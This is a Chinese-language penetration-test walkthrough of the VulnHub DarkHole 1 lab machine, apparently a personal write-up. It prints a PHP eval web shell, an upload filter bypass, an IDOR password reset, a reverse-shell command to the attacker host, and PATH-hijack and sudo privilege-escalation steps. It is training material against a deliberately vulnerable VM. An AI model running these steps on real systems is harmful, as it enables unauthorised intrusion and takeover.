0x01靶机介绍
项目 | Value |
---|---|
项目地址 | https://vulnhub.com/entry/darkhole-1,724/ |
镜像链接 | https://download.vulnhub.com/darkhole/DarkHole.zip |
作者 | Jehad Alqurashi |
发布日期 | 2021年7月18日 |
系列 | DarkHole |
难度 | Easy |
目的 | 获取root权限 |
0x02靶机搭建
工具:VMware Workstation 17.0
镜像:DarkHole.zip
搭建方式:
先将下载的zip文件解压
VMware Workstation 17.0:
1.文件->打开–>DarkHole_1.ovf,配置默认即可
2.开启我们的攻击机kali(NAT)和靶机
NAT网段:192.168.52.0/24
kali的IP地址:192.168.52.129
0x03渗透流程
一、信息收集
1.主机发现
arp-scan -l
192.168.52.130即为靶机
2.扫描主机端口信息
nmap -sS -sV 192.168.52.130
这里看对方开启了22端口和80端口,推测后面可能需要ssh协议连接
访问一下80端口:
http://192.168.52.130:80
和官方文档里的界面一样,ok下一步
3.目录扫描
dirb http://192.168.52.130
看到这里扫描出来一个upload目录,极有可能是后面要用到文件上传
再用其他工具扫一下目录
dirsearch -u 192.168.52.130
扫描完后主要看状态码200的地址,
/dashboard.php //没权限访问
/config //里面存放一个database文件,但是文件没有内容
/index.php/login/ //一个看起来没什么用的界面,里面可能有作者留下的线索
/login.php //登陆界面
/register.php //注册界面
/upload/ //文件上传的地址,感觉后面可能会用到,里面存放一张图片
二、漏洞挖掘和利用
1. 越权
进入login.php,先试一下弱口令(失败)
用户名:admin
密码:123456/Dimond/Spark/DarkHole/admin
直接注册一个号,然后登陆
可以看到浏览器地址栏中的请求带有id选项
我们输入id=1回显不能访问其他用户
这里使用Burp抓包,然后把Cookie删掉又访问了下,发现id=2也访问不了,看来是Cookie锁死了id
尝试其他方法:
这里有两种思路,使用burp抓包信息修改和密码修改,可以尝试下sql注入,但是再抓包修改密码的时候发现数据包包含id信息
修改id=1并发包修改成功。
使用admin账户登陆密码为test
2. 文件上传
发现文件上传点,直接上传一个一句话木马
<?php @eval($_POST['cmd']); ?>
看来做了限制
修改上传文件后缀看看能不能绕过.phar
我们可以在
http://192.168.52.130/upload/
找见上传的文件
蚁剑直接连
低权限,查找下关键信息,看看能不能进行提权
3. 提权
kali开启nc端口7777
nc -lvvp 7777
蚁剑执行代码反弹shell
mknod a p; telnet 192.168.52.129 7777 0<a | /bin/bash 1>a
整个交互式shell界面
python3 -c "import pty;pty.spawn('/bin/bash')"
cat /etc/passwd | grep /bin/bash
查找了一下目前具有bash权限的用户
然后再用户john的家目录里发现了以下文件
ls -ll
查看一下文件的权限发现toto文件具有执行权限
可以看到当我们执行了toto文件后它以john的身份执行了一个id命令,
我们可以写一个环境变量,来以john的身份生成一个终端
echo "/bin/bash" > /tmp/id
chmod 777 /tmp/id
export PATH=/tmp:$PATH
./toto
这里我们就有权限去访问john家目录下的文件了,得到密码root123
尝试直接切换root权限失败
sudo su
root123
执行了下sudo -l 发现john用户可以以root身份执行file.py文件
我们写入命令,然后运行这个文件即可提权成功
echo "import pty;pty.spawn('/bin/bash')" > file.py
sudo python3 /home/john/file.py